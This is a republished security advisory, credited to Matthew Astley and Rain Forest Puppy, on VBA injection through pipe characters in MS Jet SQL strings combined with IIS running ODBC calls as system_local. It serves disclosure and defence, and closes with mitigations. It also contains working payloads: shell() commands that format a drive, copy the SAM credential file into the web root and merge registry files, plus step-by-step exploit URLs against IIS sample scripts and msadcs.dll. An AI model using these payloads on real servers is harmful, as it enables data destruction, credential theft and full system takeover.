|
Brought to you by:
Suppliers of:
|
|
|
| |
| MS Jet database engine (which runs Access databases) allows an individual to embed VBA in string expressions, which may allow to run command line commands. This, combined with the flaw of IIS running ODBC commands as system_local account, allows a remote attacker to have full control of the system. Other web servers may also be affected. Many MS Jet engines are affected, but may not lead to elevated privileges. |
| |
Credit:
This vulnerability and detailed explanation was written by: Matthew Astley & Rain Forest Puppy
|
| |
Background:
ODBC allows a program flexible access to one or more relational databases using SQL. If a client fails to quote correctly the meta characters in a piece of data used in an SQL query, an attacker may be able to interfere with the tables in the database (see MS SQL appension 'feature' in Phrack 54, article 8).
However, the Microsoft "Jet" database engine (MS Access) provides some extensions to SQL which allow the execution of VBA (Visual Basic for Applications). This makes holes in Meta character quoting code much more interesting and dangerous.
How does it work?
In SQL, strings must be enclosed in single quotes. If a string includes a single quote it must be escaped by doubling it up.
The Jet engine extends this by allowing strings to enclose a VBA expression inside vertical bar characters in the string, like this:
select 'lil'' string | 6+7 | with number' as foo from table;
This will produce a recordset containing one field with the value "lil' string 13 with number" for each row of the input table. Innocent enough, if the CGI or ASP programs correctly quote the incoming data.
However, since the pipe operator is a rather obscure character and is very poorly documented, most people don't know it's there - apparently even Microsoft programmers.
"It's a feature, not a bug!"
Note the following excerpt from a MS Knowledge Base article:
(http://support.microsoft.com/support/kb/articles/q147/6/87.asp)
Pipe Character or Vertical Bar
The pipe character or vertical bar is a reserved character for the Jet database engine. It tells the Jet database engine to evaluate the identifier before evaluating the rest of the expression. Therefore, the Jet database engine inserts the value of the identifier in the expression, and then evaluates it.
Vertical bars are used most often in domain aggregate functions when you want the function to automatically recalculate the value it returns in filters. Or vertical bars are used as an alternative to the ampersand (&) operator when you concatenate text values. Because of this, you cannot embed the vertical bar (|) in a literal string, you must embed the Chr() function. Chr(124) is the vertical bar.
Where does it apply?
Any textual data included in a Jet SQL query can contain quoted VBA, whether it is in data to be inserted in a new record or part of a condition expression. This makes the hole very general (or flexible, if you prefer), since you don't need to know the context in which the string will be evaluated.
What commands are available?
The biggest restriction is that the code must be evaluated in an expression context - no statements.
Anything listed as "VBA" in the "Functions Reference" page of the Access Help file will work, although this seems to vary between versions of the Jet engine. For example, in some cases the "eval" function works and in others it doesn't (although when it is available, eval doesn't actually help much because the |...| operator offers a similar if not identical context).
The most useful command is "shell", although this in itself cannot do redirections or pipes - cmd.exe can assist with this though. By using the shell function and running cmd.exe, an attacker can run any command on the system.
environ() can also be useful to get environment variables values into your commands, and chr() can be very handy for quoting awkward characters using alphanumeric and brackets. There are also the standard functions like iif() and various string operations (use "&" for concatenation).
It would be very difficult to include any kind of loop in the VBA fragment because loops do not have return values.
Which characters need quoting, and how
If the exploit string will be passing through anything that tries to escape special characters then ' will be double up - best to use " instead.
Ironically, the vertical bar character can only be escaped by using it to evaluate the chr(124) function.
VBA will take pairs of double-quotes (") in a VBA string constant the same way SQL will take pairs of single-quotes. If this doesn't seem to work you can always use chr(34).
ASP also provides a convenient debugging aid - if the expression cannot be correctly evaluated the error message will often include the whole SQL query with the partially decoded exploit string in it--this could help an attacker 'tweak' the exploit string until it works.
If the command needs to be broken up with newlines, they can be inserted between VBA operators inside the |...| construction.
A practical example
An example of a pipeline:
|shell("cmd /c echo " & chr(124) & " format a:")|
Will format whatever is in the floppy drive at the time. Any errors will be silently ignored, although an iconised window will take the focus for the duration of the command.
Using "cmd /c" allows the command piping necessary to get a newline into the format command, otherwise the pipe and 'format' are passed as arguments to 'echo'.
This string can be included in anything from a simple ODBC operation to a text item in an ASP form on a web page. The function will normally evaluate to a two or three digit number.
A more sophisticated example involves grabbing a copy of the SAM:
|shell("cmd /c rdisk /S-")|
|shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|
(this example includes assumptions about the location of the system and www publishing directory; it's only an example)
Commands can be stacked:
|shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \ >> %temp%\foo.txt") & shell("cmd /c echo 3 >> %temp%\foo.txt")|
It is not clear that the commands will always be executed in order. Each shell command executes asynchronously so the code above has two races for whether the shell commands finish updating the file before the next one starts - results will be variable.
Could an attacker modify registry keys?
Ultimately the hole allows anything since you can up/download and run any code, but modifying registry keys from VBA seems to be a little tricky.
The method using advapi32.dll won't work because it requires statements to declare functions from the library, but there doesn't seem to be a way of giving a statement a return value in VBA.
It would be easier to create a temporary .reg file and then merge it with "cmd /c regedit /s %temp%\tmp.reg"; the '/s' is important, as it suppresses the informational dialogs/windows.
What permissions will an attacker have?
The dangerous part comes from a context misinterpretation with IIS. IIS runs as system_local; it changes its token context (typically to IUSR_xxx) for filesystem access and application execution. However, the context does *NOT* change when interfacing with the ODBC API. Therefore all ODBC functions (and the associated database calls) are happening under system_local. This allows full access to the system.
Theory of exploitation
This problem can be used over the web against scripts that make queries against local MS Jet ODBC DSNs, therefore, any script or application that uses a MS Jet ODBC DSN could potentially be exploited. The solution is to not use MS Jet ODBC drivers for any DSN--until Microsoft releases a fix. But since this is a documented feature, there stands a chance that some applications may break if removed.
Reality of exploitation
A few examples that just demonstrate the problem:
http://server/scripts/tools/getdrvrs.exe
-> pick Microsoft Access Driver (*.mdb)
-> Enter in the correct DSN name
-> Enter a location for the .mdb, example: c:\web.mdb
-> Submit
This will create the DSN.
IIS Sample Applications:
A good example script is
http://www.example.com/scripts/samples/details.idc?Fname=&Lname
Stick your shell code in for either Fname or Lname, like so:
details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|
This uses the DSN named "Web SQL" (notice the space). However, this causes problems, because the actual table must be initialized in the DSN. Never fear - scripts are here! Run
http://www.example.com/scripts/samples/ctguestb.idc
After you create the DSN (if you had to) and before you run details.idc
MSADC (IIS 4.0):
Starting with IIS 4.0, Microsoft bundled a way to do remote SQL queries on a DSN simply by interfacing via HTTP to a specific .dll. Bug? Hole? Nope, in the documentation Microsoft states that having MSADC installed could lead to security problems.
The particular .dll is at
http://www.example.com/msadc/msadcs.dll
Now the particular problem is that there's a slightly custom way to interface to the .dll, using multipart-forms. So it's beyond the scope of just typing in a parameter by hand. So there's two options.
One is to see if the server also has the (optional) interface installed. Check out for the existence of
http://www.example.com/msadc/samples/adctest.asp
(Note: you have to use Internet Explorer 4.0+ for this)
This will give you a Java/Javascript interface that allows you to specify the DSN, uid/password, and SQL string to execute. Note that you'll have to obtain the table structure for the DSNs mentioned herein, because you'll need to construct a valid SQL statement.
The other option is to obtain those files from another server, or download and install the MS RDS/ADO/ADC components. For more information, look at:
http://www.microsoft.com/data/ado/
The one caveat is that error information is not displayed. It helps to have a sniffer going to see if what ODBC error messages are returned, if any. If you don't get a record listing, you might want to see what the error was.
Now, what to do?
You can obviously just execute SQL commands that contain the pipe character.
For instance:
Connection: DSN=AdvWorks
Query: Select * from Products where ProductType='|shell("")|'
(Insert your shellcode in the shell() function)
A possible solution:
Use non-default DSN names, make sure no samples are installed on production servers, make sure MSDAC is not installed, monitor strange web requests, and wait for Microsoft to release a patch.
|
|
|
|
|